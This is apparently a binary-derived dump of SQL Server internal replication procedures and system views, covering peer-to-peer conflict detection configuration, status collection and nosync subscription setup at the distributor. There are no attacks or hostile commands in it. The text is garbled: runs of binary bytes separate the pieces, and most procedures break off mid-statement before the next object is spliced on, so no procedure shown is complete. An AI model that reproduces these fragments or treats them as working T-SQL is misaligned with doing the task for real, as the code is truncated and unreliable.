        	,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>Pvncreate procedure sys.sp_configure_peerconflictdetection
(
    @publication                sysname,
    @action			   nvarchar(32), --values:enable, disable, continue_enable, continue_disable
    @originator_id		   int = NULL, --valid only when @local is true
    @conflict_retention       int = 14, --valid only when @action is enable or continue_enable
    @continue_onconflict nvarchar(5) = N'false', --valid only when @action is enable or continue_enable  
    @local 			   nvarchar(5) = N'true',
    @timeout			   int = 60 --seconds, valid only when @local is false 
)
as
begin
	set NOCOUNT on

	declare @retcode int
		,@db_name   sysname
		,@pubid int
		,@options int
		,@OPT_ENABLED_FOR_P2P int = 0x1
		,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int = 0x8
		,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT int = 0x10
		,@enabling bit
		,@peercmdtxt nvarchar(max)
		,@artid int
		,@current_db_version int
		,@strval nvarchar(32)
		
	select @db_name=db_name()
            
	--Security Check

	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
		return(1)

	-- Check to see if the database has been activated for publication.

	if sys.fn_MSrepl_istranpublished(@db_name, 1) <> 1
	begin
		raiserror (14013, 16, -1)
		return (1)
	end

	-- Parameter Check: @publication.
	-- The @publication name cannot be NULL and must conform to the rules
	-- for identifiers.

	if @publication is NULL
	begin
		raiserror (14043, 16, -1, N'@publication', N'sp_configure_peerconflictdetection')
		return (1)
	end

	execute @retcode = sys.sp_validname @publication
	if @retcode <> 0
		return (1)
        

	select @pubid = pubid, @options = options
	from syspublications
	where name = @publication

	if @pubid is NULL
	begin
		raiserror (20026, 11, -1, @publication)
		return (1) 
	end

	if (@options & @OPT_ENABLED_FOR_P2P) <> @OPT_ENABLED_FOR_P2P
	begin
		raiserror (22808, 16, -1, N'sp_configure_peerconflictdetection', @publication)
		return (1)
	end

	-- parameter check: @local
	if (LOWER(@local) not in (N'true', N'false'))
	begin
		raiserror (14148, 16, -1, N'@local')
		return (1)
	end
	select @local = LOWER(@local)


	if @local = N'true'
	begin
		-- parameter check: @action
		if @action is NULL or (LOWER(@action) not in (N'enable', N'disable'))
		begin
			raiserror (22810, 16, -1)
			return (1)
		end
		select @action = LOWER(@action)

		if @action = N'enable'
		begin

			if (@options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION
			begin
				raiserror(22828, 16, -1, @publication, N'enabled')
				return (1) --already enabled
			end

			-- parameter check: @conflict_retention
			if (@conflict_retention < 0)
			begin
				raiserror(20050, 16, -1, 0)
				return (1)
			end

			-- parameter check: @continue_onconflict
			if LOWER(@continue_onconflict) not in (N'true', N'false')
			begin
				raiserror (14148, 16, -1, N'@continue_onconflict')
				return (1)
			end

			-- parameter check: @originator_id
			if @originator_id is not NULL and (@originator_id = 0 or @originator_id = 0x80000000)
			begin
				-- Originator ID provided is invalid: 0 or 0x80000000.
				select @strval = cast(@originator_id as nvarchar)
	              	raiserror(22806, 16, -1, @strval)
		              return (1)
			end 

			begin tran 
			save tran tr_sp_configure_p2pcd

			declare @numids int
			select @numids = count(*) from dbo.MSpeer_originatorid_history with (holdlock, tablock, xlock) -- X lock the whole table
			if @@error <> 0
				goto UNDO

        		--check/generate peer ID
			if @originator_id is null
			begin
				exec sp_MScheckgenerate_originatorid @publication = @publication, @old_originator_id = 0, @new_originator_id = @originator_id output
				if @@error <> 0
					goto UNDO
			end
			else
			begin
				declare @tmpid int
				exec sp_MScheckgenerate_originatorid @publication = @publication, @old_originator_id = @originator_id, @new_originator_id = @tmpid output
				if @@error <> 0
					goto UNDO
				
				if @tmpid = 0
				begin
					-- Originator ID provided is invalid: xxx.
					select @strval = cast(@originator_id as nvarchar)
					raiserror(22806, 16, -1, @strval)
					goto UNDO
				end
			end

			if LOWER(@continue_onconflict) = N'false'
				select @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT = 0x0

			--update options and originator_id
			update syspublications
			set	options = options | @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION | @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT,
				originator_id = @originator_id,
				conflict_retention = @conflict_retention
			where pubid = @pubid
			
			select @enabling = 1
			
		end --@action: enable
		else
		begin
			if (@options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = 0
			begin
				raiserror(22828, 16, -1, @publication, N'disabled')
				return (1) --already disabled
			end

			begin tran 
			save tran tr_sp_configure_p2pcd

			--update options and originator_id
			update syspublications
			set	options = options & ~(@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) & ~(@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT),
				originator_id = NULL,
				conflict_retention = NULL
			where pubid = @pubid
			
			select @originator_id = 0

			select @enabling = 0

			delete from dbo.MSpeer_originatorid_history
			where originator_publication = @publication
			
		end -- @action: disable

		--ensure there are articles in the publication
		select @artid = MIN(artid)
		from sysarticles 
		where pubid = @pubid

		if (@artid is not NULL)
		begin
			--generate the script of processing hidden column, table persistent property and conflict table for all articles
			--for this peer, processing (add/remove, create/drop, set/reset) hidden column, table persistent property and conflict table for all articles
			exec @retcode = sp_MSscriptpeerconflictdetection_tableaug @pubid = @pubid, @publication = @publication, 
							@enabling = 	@enabling, @originator_id = @originator_id, @cmdtxt = @peercmdtxt output, @execscript = 1
			if @@error <> 0 or @retcode <> 0
			begin
				raiserror(21542, 16, 1, @@error, 'sp_configure_peerconflictdetection')
				goto UNDO
			end

			if @peercmdtxt is not NULL
			begin
				exec @retcode = sys.sp_replflush
				if @@error <> 0 or @retcode <> 0
				begin
					goto UNDO
				end

				-- post to log, which will be applied to the immediate subscribers
				exec @retcode = sys.sp_replpostcmd 0/*not partial*/, @pubid, @artid, 1/*@sql_cmd_type = SQL_CMD*/, @peercmdtxt
				if @retcode <> 0 or @@error <> 0
					goto UNDO

				--generate the script of custom procs for all articles
				select @peercmdtxt = N''
				exec @retcode = sp_MSscriptpeerconflictdetection_customprocs @publication = @publication, @cmdtxt = @peercmdtxt output
				if @@error <> 0 or @retcode <> 0
					goto UNDO

				-- post to log, which will be applied to the immediate subscribers, SQL_NOSYNCSETUPSCRIPT allows comments and "go" in the script
				exec @retcode = sys.sp_replpostcmd 0/*not partial*/, @pubid, @artid, 104/*@sql_cmd_type = SQL_NOSYNCSETUPSCRIPT*/, @peercmdtxt 
				if @retcode <> 0 or @@error <> 0
					goto UNDO
			end
			

		end --@artid is not NULL


		-- by sp_MSpeertopeerfwdingexec: executes and posts sp_MSchange_originatorid, which inserts the new ID 
		-- 							into MSpeer_lsns and MSpeer_originatorid_history
		exec @retcode = sys.sp_MSgetdbversion @current_version = @current_db_version output
		if @@error <> 0 or @retcode <> 0
			goto UNDO
		
		-- execute and post 'sp_MSchange_originatorid' by sp_MSpeertopeerfwdingexec
		select @peercmdtxt =	N'if (@@microsoftversion >= 0x0A000000) ' +
							N'begin' +
							N'	exec sys.sp_MSchange_originatorid @originator_node = N' + quotename(publishingservername(), N'''') + 
														N',@originator_db = N' + quotename(DB_NAME(), N'''') + 
														N',@originator_publication= N' + quotename(@publication, N'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(2<v[Dcreate procedure sys.sp_help_peerconflictdetection
(
    @publication                sysname,
    @timeout			   int = 60 --seconds 
)
as
begin
	set NOCOUNT on

	declare @retcode int
		,@pubid int
		,@options int
		,@OPT_ENABLED_FOR_P2P int
		,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int
		,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT int
		,@originator_node	sysname
		,@originator_version int
		,@originator_db sysname
		,@originator_db_version int
		,@originator_id int
		,@conflict_retention int
		,@continue_onconflict bit
		,@subscriptions xml
		,@sub_srvname sysname
		,@sub_db sysname
		,@request_id int
		,@conflictdetection_enabled bit
		,@elapsetime int --in seconds
		,@phase_timed_out bit
		,@cursor_allocated bit
		,@cursor_opened bit


	select @OPT_ENABLED_FOR_P2P = 0x1
		,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8
		,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT = 0x10
		,@originator_version = @@microsoftversion
		,@originator_db = db_name()
		,@cursor_allocated = 0
		,@cursor_opened = 0

            
	--Security Check

	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
		return(1)

	-- Check to see if the database has been activated for publication.

	if sys.fn_MSrepl_istranpublished(@originator_db, 1) <> 1
	begin
		raiserror (14013, 16, -1)
		return (1)
	end

	-- Parameter Check: @publication.
	-- The @publication name cannot be NULL and must conform to the rules
	-- for identifiers.

	if @publication is NULL
	begin
		raiserror (14043, 16, -1, N'@publication', N'sp_help_peerconflictdetection')
		return (1)
	end

	execute @retcode = sys.sp_validname @publication
	if @retcode <> 0
		return (1)
        
	select @pubid = pubid, @options = options, @originator_id = originator_id, @conflict_retention = conflict_retention
	from syspublications
	where name = @publication

	if @pubid is NULL
	begin
		raiserror (20026, 11, -1, @publication)
		return (1) 
	end

	select @originator_node = publishingservername()

	if (@options & @OPT_ENABLED_FOR_P2P) <> @OPT_ENABLED_FOR_P2P
	begin
		raiserror (22808, 16, -1, @publication, N'sp_help_peerconflictdetection')
		return (1)
	end

	-- parameter check: @timeout
	if @timeout <= 0
	begin
		raiserror (22811, 16, -1)
		return (1)
	end 

	-- this procedure can not be executed in a user
	-- transaction because it needs to be in its own tran
	-- space (it can not be mixed with replicated cmds).
	--
	-- we use this tmp table insert to force any implicit
	-- transaction (user may set IMPLICIT_TRANSACTIONS on)
	declare @check_tran table(col1 int)
	insert into @check_tran(col1) values (1)
	
	if @@trancount > 0
	begin
		-- The procedure 'sp_help_peerconflictdetection' cannot be executed within a transaction.
		raiserror(15002, 16, -1, 'sp_help_peerconflictdetection')
		return (1)
	end

	if (@options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION
	begin
		select @conflictdetection_enabled = 1
		
		if (@options & @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT) = @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT
			select @continue_onconflict = 1
		else
			select @continue_onconflict = 0
	end
	else
	begin
		select @conflictdetection_enabled = 0
		select @originator_id = NULL
		select @conflict_retention = NULL
		select @continue_onconflict = NULL
	end

	exec @retcode = sys.sp_MSgetdbversion @current_version = @originator_db_version output
	if @@error <> 0 or @retcode <> 0
	begin
		raiserror(21542, 16, 1, @@error, 'sp_MSgetdbversion')	
		return (1)
	end

	-- begin transaction
	begin tran
	save tran tr_sp_help_peerconflictdetection

	-- obtain subscriptions
	declare @peersubtab table (sub_node sysname, sub_db sysname)
	insert 	@peersubtab
		select	distinct A.srvname, A.dest_db
		from 	syssubscriptions A join sysarticles B on A.artid = B.artid
		where	B.pubid = @pubid and A.srvid <> -1
	if @@error <> 0
		goto UNDO
	
	select @subscriptions = (select * from @peersubtab as sub for XML auto)
	if @@error <> 0
		goto UNDO

	select @subscriptions = convert(xml, N'<peer_subs>' + convert(nvarchar(max), @subscriptions) + N'</peer_subs>') 

	-- in order to obtain the result in relational form, run the following statements
	-- 	declare @DocHandle int
	-- 	exec sp_xml_preparedocument @DocHandle OUTPUT, convert(nvarchar(max), @subscriptions)
	-- 	select  *
	-- 	from OPENXML (@DocHandle, N'/peer_subs/sub', 1)
	-- 	with (sub_node sysname, sub_db sysname)
	-- 	exec sp_xml_removedocument @DocHandle

	--delete existing requests and responses
	delete from MSpeer_conflictdetectionconfigrequest
	if @@error <> 0
		goto UNDO
		
	delete from MSpeer_conflictdetectionconfigresponse
	if @@error <> 0
		goto UNDO

	--new a request
	insert MSpeer_conflictdetectionconfigrequest (publication, timeout, progress_phase, phase_timed_out)
	values(@publication, @timeout, N'started', 0)
	if @@error <> 0
		goto UNDO

	select @request_id =MAX(id) 
	from MSpeer_conflictdetectionconfigrequest

	--insert the response from local peer
	insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, peer_version, peer_db_version,
       	     is_peer, conflictdetection_enabled, originator_id, peer_conflict_retention, peer_continue_onconflict, peer_subscriptions, progress_phase)
	values (@request_id, @originator_node, @originator_db, @originator_version, @originator_db_version, 1 /*is_peer*/, 
	            @conflictdetection_enabled, @originator_id, @conflict_retention, @continue_onconflict, @subscriptions, N'status collected')
	if @@error <> 0
		goto UNDO

	-- insert sub entries of this peer
	insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, progress_phase)
		select @request_id, sub_node, sub_db, N'started'
		from @peersubtab
	if @@error <> 0
		goto UNDO

	commit tran

	raiserror (22817, 10, -1, N'Scanning topology', N'started') with nowait 
	
	--starting first round: topology exploring
	update MSpeer_conflictdetectionconfigrequest
	set 	progress_phase = N'exploring topology',
		modified_date = GETDATE()
	where id = @request_id
	
	exec sp_MSpeerconflictdetection_topology_sendrequest @request_id, @publication
	if @@error <> 0
		return (1)

	select @elapsetime = 0
	while (@elapsetime < @timeout)
	begin
		waitfor delay '00:00:01'   -- 1 second 
		select @elapsetime = @elapsetime + 1
		
		if exists(select * from MSpeer_conflictdetectionconfigresponse
				where request_id = @request_id and is_peer is null)
			continue
		else
			break
	end


	if @elapsetime >= @timeout
	begin
		raiserror(22812, 10, -1, N'exploring topology', @timeout) with nowait -- raise a warning

		update MSpeer_conflictdetectionconfigrequest
		set 	phase_timed_out = 1,
			modified_date = GETDATE()
		where id = @request_id
	end

	raiserror (22817, 10, -1, N'Scanning topology', N'ended') with nowait 
	raiserror (22817, 10, -1, N'Status collection', N'started') with nowait 

	--starting second round: status collecting
	update MSpeer_conflictdetectionconfigrequest
	set 	progress_phase = N'collecting status',
		modified_date = GETDATE()
	where id = @request_id

	exec sp_MSpeerconflictdetection_statuscollection_sendrequest @request_id, @publication
	if @@error <> 0
		return (1)

	select @elapsetime = 0
	while (@elapsetime < @timeout)
	begin
		waitfor delay '00:00:01'   -- 1 second 
		select @elapsetime = @elapsetime + 1
		
		if exists(select * from MSpeer_conflictdetectionconfigresponse
				where request_id = @request_id 
					and (is_peer is NULL or progress_phase <> N'status collected'))
			continue
		else
			break
	end

	if @elapsetime >= @timeout
	begin
		raiserror(22812, 10, -1, N'collecting status', @timeout) with nowait -- raise a warning
		select @phase_timed_out = 1
	end
	else
		select @phase_timed_out = 0

	update MSpeer_conflictdetectionconfigrequest
	set 	progress_phase = N'status collected',
		pha!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(^w>vv--
-- Name: sp_MSsetupnosyncsubwithlsnatdist_helper
-- 
-- Description: activate nosync subscription at distributor
-- and return the article id corresponding to the article;
-- when article = N'all', return the first retrieved article id in MSarticles;
-- create a temporary table (named 'MSnosyncsubsetup') in distribution db
-- if the table does not exist, and update the table with the parameters 
-- to be needed for setting up of the specified non-sync subscription.
--
-- Security: Procedural security check is performed inside this procedure to
--           ensure that the caller is a member of sysadmin. Execute 
--           permission of this procedure is granted to public. This procedure 
--           is invoked via RPC
--
create procedure sys.sp_MSsetupnosyncsubwithlsnatdist_helper
(
    -- Publication properties
    @publisher                              sysname,
    @publisher_db                         sysname,
    @publication                            sysname,
    @article                                   sysname = N'all',
    -- Subscription properties
    @subscriber                             sysname,
    @destination_db                       sysname,
    @subscriptionlsn                       binary(10),
    @lsnsource                               int,
    @pubid                                     int,
    @publisher_db_version              int,
    @script_txt                               nvarchar(max),
    @nosync_setup_script               nvarchar(max),
    @next_valid_lsn                        binary(10),
    -- Output article id
    @artid                                      int = NULL OUTPUT
)
as
begin 
    set nocount on
    declare @publisherid int,
            @subscriberid int,
            @publisher_database_id int,
            @publication_id int,
            @nosyncCommandStr nvarchar(max)

    -- Security check 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089, 16, -1)
        return 1
    end

    -- Obtain Publisher's server id
    select @publisherid = srvid 
      from master.dbo.sysservers
     where upper(srvname) = upper(@publisher) collate database_default
    if @@error<>0 goto Failure

    -- Obtain Subscriber's server id
    select @subscriberid = srvid
      from master.dbo.sysservers
     where upper(srvname) = upper(@subscriber) collate database_default
    if @@error<>0 goto Failure

    -- Find out what the publisher database id is
    select @publisher_database_id = id
      from dbo.MSpublisher_databases
     where publisher_db = @publisher_db
       and publisher_id = @publisherid
    if @@error<>0 goto Failure

    -- Obtain the publication id
    select @publication_id = publication_id
      from dbo.MSpublications
     where publisher_id = @publisherid
       and publisher_db = @publisher_db
       and publication = @publication
    if @@error<>0 goto Failure

    -- Obtain artid if this is for an incremental article
    -- or one of the artids if @article equals to N'all'.
    select @artid = article_id    
    from MSarticles
    where publisher_id = @publisherid
       and publisher_db = @publisher_db 
       and publication_id = @publication_id
       and (@article = N'all' or article = @article)
    if @@error<>0 or @artid is NULL goto Failure

    begin tran nosyncSubSetupHelper
    save tran nosyncSubSetupHelper

    -- Activate subscriptions in dbo.MSsubscriptions
    update dbo.MSsubscriptions
       set status = 2 --active status
     where publisher_database_id = @publisher_database_id
       and publisher_id = @publisherid
       and publisher_db = @publisher_db -- Extra insurance
       and publication_id = @publication_id
       and subscriber_id = @subscriberid
       and subscriber_db = @destination_db
       and (@article = N'all' or article_id = @artid)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    -- The table MSnosyncsubsetup should already exist
    -- in distribution database.
    if object_id(N'dbo.MSnosyncsubsetup', 'U') is NULL 
        goto nosyncSubSetupHelperFailure

    -- Try to clean up the table before adding parameters (rows)
    -- into the table for the specified nonsync subscription.
    -- Note that, in MSnosyncsubsetup table, we need the publication 
    -- id (i.e., @publid) from publisher db instead of the publication
    -- id (i.e., MSpublications.publication_id) from distribution db, 
    -- which might be different.
    delete dbo.MSnosyncsubsetup 
    where publisher_database_id = @publisher_database_id
      and publication_id = @pubid
      and artid = @artid
      and next_valid_lsn = @next_valid_lsn
    if @@error<>0 goto nosyncSubSetupHelperFailure

    -- Update table MSnosyncsubsetup with the parameters
    -- to be needed by stored proc sp_MSsetupnosyncsubwithlsnatdist
    declare @parameterValueStr nvarchar(max)
    select @parameterValueStr = @publisher
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'publisher',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = @publisher_db
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'publisher_db',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = @publication
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'publication',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = @article
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'article',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(@subscriber, N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'subscriber',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(@destination_db, N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'destination_db',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(CAST(@subscriptionlsn AS nvarchar(max)), N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(żv
--
-- Name: sp_MSsetupnosyncsubwithlsnatdist
--
-- Description: This procedure performs the following steps
--              to set up a no-/backup-sync subscription with
--              a given lsn at the distributor:
--              1) Acquire the db_name()_nosyncsetup lock to prevent the 
--                 distribution cleanup task from interfering with the nosync
--                 subscription setup process.
--              2) Validate the given subscription lsn, make sure that we
--                 have all the transactions required to synchronize
--                 the nosync subscription starting with the given lsn.
--                 (See code comment for details)
--              3) Try to allocate a unique "snapshot sequence number" (a.k.a.
--                 subscription_seqno in dbo.MSsubscriptions) for the current
--                 subscription (subscriptionS if you think in terms of
--                 article-level subscription). Note that the same backup lsn 
--                 may be used for initializing multiple subscriptions.
--              4) Perform the actual insert of transaction in 
--                 MSrepl_transactions.
--              5) Update the status of the subscriptions to active in
--                 dbo.MSsubscriptions. 
--              6) Perform setup script file manipulations depending
--                 on the publication's snapshot file settings.
--              7) Insert "snapshot" commands for the subscription setup script
--                 in MSrepl_commands.
-- 
-- Parameters: (Publication properties)
--             @publisher                  sysname         (mandatory)
--             @publisher_db               sysname         (mandatory)
--             @publication                sysname         (mandatory)
--             (Subscription properties)
--             @subsciber                  sysname         (mandatory)
--             @destination_db             sysname         (mandatory)
--             -- Subscription LSN
--             @subscriptionlsn            binary(10)      (mandatory)
--             @lsnsource                  tinyint         (mandatory)
--
-- Security: Procedural security check is performed inside this procedure to
--           ensure that the caller is a member of sysadmin. Execute 
--           permission of this procedure is granted to public. This procedure 
--           is invoked via RPC
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSsetupnosyncsubwithlsnatdist 
(
    -- Publication properties
    @publisher                  sysname,
    @publisher_db               sysname,
    @publication                sysname,
    @article                    sysname = N'all',
    -- Subscription properties
    @subscriber                 sysname,
    @destination_db             sysname,
    -- Subscription LSN 
    @subscriptionlsn            binary(10),
    @lsnsource                  tinyint,
    -- Peer To Peer
    @originator_publication_id	int,
    @originator_db_version		int,
    @originator_meta_data		nvarchar(max),
    @nosync_setup_script        nvarchar(max),
    @next_valid_lsn             binary(10) = 0x00000000000000000000
) 
as
begin 
    set nocount on
    declare @retcode int,            
            @publisherid int,
            @subscriberid int,
            @nosyncsnapshotseqno binary(16),
            @transactionopened bit,
            @acquiredapplicationlock bit,
            @lockresource nvarchar(255),
            @transactionentrytime datetime,
            @publisher_database_id int,
            @publication_id int,
            @hasbeforetransactions bit,
            @subscriptionlsntag bigint,
            @nosyncsubscriptionseqno varbinary(16),
            @active tinyint,
            @snapshot_bit int,
            @minartid int,
            @command_id int,
            @command nvarchar(512),
            @lsn_low binary(8),
            @lsn_high binary(2)
    
    -- Security check 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089, 16, -1)
        return 1
    end

    -- Initializations
    select @retcode = 0,
           @transactionopened = 0,
           @acquiredapplicationlock = 0,
           @lockresource = db_name() + N'_nosync',
           @transactionentrytime = null,
           @hasbeforetransactions = 0,
           @subscriptionlsntag = null,
           @active = 2,
           @snapshot_bit = 0x80000000,
           @minartid = null

    if @@error<>0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    -- Obtain Publisher's server id
    select @publisherid = srvid 
      from master.dbo.sysservers
     where upper(srvname) = upper(@publisher) collate database_default
    if @@error<>0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    -- Obtain Subscriber's server id
    select @subscriberid = srvid
      from master.dbo.sysservers
     where upper(srvname) = upper(@subscriber) collate database_default
    if @@error<>0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
            
    -- Find out what the publisher database id is...
    select @publisher_database_id = id
      from dbo.MSpublisher_databases
     where publisher_db = @publisher_db
       and publisher_id = (select srvid 
                             from master.dbo.sysservers  
                            where upper(srvname) = upper(@publisher) collate database_default)
    if @@error<>0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    -- Obtain the publication id
    select @publication_id = publication_id
      from dbo.MSpublications
     where publisher_id = @publisherid
       and publisher_db = @publisher_db
       and publication = @publication
    if @@error<>0 or @retcode <> 0 begin select @retcode = 1 goto Failure end


    -- Obtain artid if this is for an incremental article
    if @article <> N'all'
    begin 
        select @minartid = article_id    
          from MSarticles
         where publisher_id = @publisherid
           and publisher_db = @publisher_db 
           and publication_id = @publication_id
           and article = @article
    end

    begin transaction
    save transaction sp_MSsetupnosyncsubwithlsnatdist
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    select @transactionopened = 1

    -- 1) Acquire application lock to prevent interference from the 
    -- distribution cleanup job or a concurrent nosync subscription setup
    -- session.
    exec @retcode = sys.sp_getapplock @Resource = @lockresource, 
                                      @LockMode = 'Exclusive', 
                                      @LockOwner = 'Transaction',
                                      @LockTimeout = 5000, -- Bail out if lock cannot be acquired in 5 seconds
                                      @DbPrincipal = N'db_owner'
    if @@error<>0 begin select @retcode = 1 goto Failure end

    if @retcode = -1
    begin
        raiserror(21398, 16, -1)
        select @retcode = 1
        goto Failure
    end

    -- An error message would have been returned in other failure cases
    if @retcode < 0 begin select @retcode = 1 goto Failure end
    select @acquiredapplicationlock = 1, @retcode = 0

    -- Validate the given LSN, make sure that we don't lose any transactions.

    -- Lock both MSrepl_transactions (to prevent insertion of new 
    -- transactions) and dbo.MSsubscriptions (to prevent insertion of new
    -- subscriptions) Only consider non-snapshot transactions with xact_id<>0
    select @retcode = 0  from dbo.MSrepl_transactions with (TABLOCK HOLDLOCK) where 1 = 0
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    select @retcode = 0  from dbo.MSsubscriptions with (TABLOCK HOLDLOCK) where 1 = 0
    if @@error<>0 or @retcode<>0 beg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`T<gxI'0\@ 8
create view sys.dm_exec_cached_plans as select * from OpenRowset(TABLE SYSDMEXECCACHEDPLANS)
0' D8uWhIZ(H0Í Y8CREATE VIEW sys.dm_hadr_availability_replica_cluster_states AS
	SELECT 
		replica_id = arcs.replica_id,
		replica_server_name = arcs.replica_server_name,
		group_id = arcs.group_id,
		join_state = arcs.join_state,
		join_state_desc = CASE
			WHEN (join_state = 0) THEN CAST ('NOT_JOINED' AS nvarchar(60))
			WHEN (join_state = 1) THEN CAST ('JOINED_STANDALONE' AS nvarchar(60))
			WHEN (join_state = 2) THEN CAST ('JOINED_FCI' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END
	FROM OpenRowset(TABLE DM_HADR_AVAILABILITY_REPLICA_CLUSTER_STATES) arcs
0! 8create procedure sys.sp_MSscriptpeerconflictdetection_tableaug (
	@pubid		int, -- not null
	@publication	sysname, -- not null
	@enabling	bit, -- not null
	@originator_id int, --should not be null and not 0 and not 0x80000000, when @enabling is 1 and when the destination is a peer 
	@cmdtxt		nvarchar(max) output,
	@execscript	bit = 0
)
as
begin
	set nocount on
	
	declare	@retcode int = 0,        
			@fulltablename nvarchar(540), --qualified with owner
			@artlist nvarchar(max), --in xml format
			@publisher sysname,
			@publisher_db sysname

	--check wethether there is any long table name 
	declare @tabnames table (fulltablename nvarchar(270))
	insert @tabnames
		select * 
		from		(select QUOTENAME(schema_name(objectproperty(objid, 'SchemaId'))) + N'.' + QUOTENAME(OBJECT_NAME(objid)) as fulltablename
				  from dbo.sysarticles
				  where	pubid = @pubid and (type & 1) <> 0) A
		where sys.fn_peerconflicttablename(A.fulltablename) is NULL
	if @@error <> 0
		goto Failure

	select @fulltablename = (select top 1 fulltablename from @tabnames) --report the first long table name
	if @fulltablename is not NULL
	begin
		raiserror(22816, 16, 1, @fulltablename)
		goto Failure
	end

	-- obtain article list
	declare @arttab table (schname sysname,  tabname sysname,  artname sysname,  schema_option bigint)
	insert  @arttab
		select	schema_name(objectproperty(objid, 'SchemaId')),
				OBJECT_NAME(objid),
				name,
				cast(schema_option as bigint)
		from 	dbo.sysarticles
		where	pubid = @pubid and (type & 1) <> 0 
		
	if @@error <> 0
		goto Failure
	
	select @artlist = convert(nvarchar(max), (select * from @arttab as art for XML auto))
	if @@error <> 0
		goto Failure
		
	--add root: /arts
	select @artlist = N'<arts>' + @artlist + N'</arts>' 

	select @publisher = publishingservername()
	select @publisher_db = db_name()

	if @enabling = 0
		select @originator_id = 0

	if @artlist is not NULL
	begin
		if @execscript = 1
		begin
			exec @retcode = sp_peerconflictdetection_tableaug @publisher, @publisher_db, @publication, @enabling, @originator_id, @artlist
			if @@error <> 0 or @retcode = 1
				goto Failure
		end

		select @originator_id = 0x80000000 --read-only subscriptions
	
		select @cmdtxt = 	N' if @@microsoftversion >= 0x0A000000 ' +
						N' begin' +
						N'	exec sp_peerconflictdetection_tableaug @publisher = N' + QUOTENAME(@publisher, N'''') + N',' +
						N'									 @publisher_db = N' + QUOTENAME(@publisher_db, N'''') + N',' +
						N'									 @publication = N' + QUOTENAME(@publication, N'''') + N','  +
						N'									 @enabling = ' + CAST(@enabling as nvarchar) + N',' +
						N'									 @originator_id = ' + CAST(@originator_id as nvarchar) + N','  +
						N'									 @artlist = N''' + REPLACE(@artlist, N'''', N'''''')  + N'''' +
						N' end'
	end
	else
		select @cmdtxt = NULL
		
	return (0)
	
Failure:

	if @@error <> 0
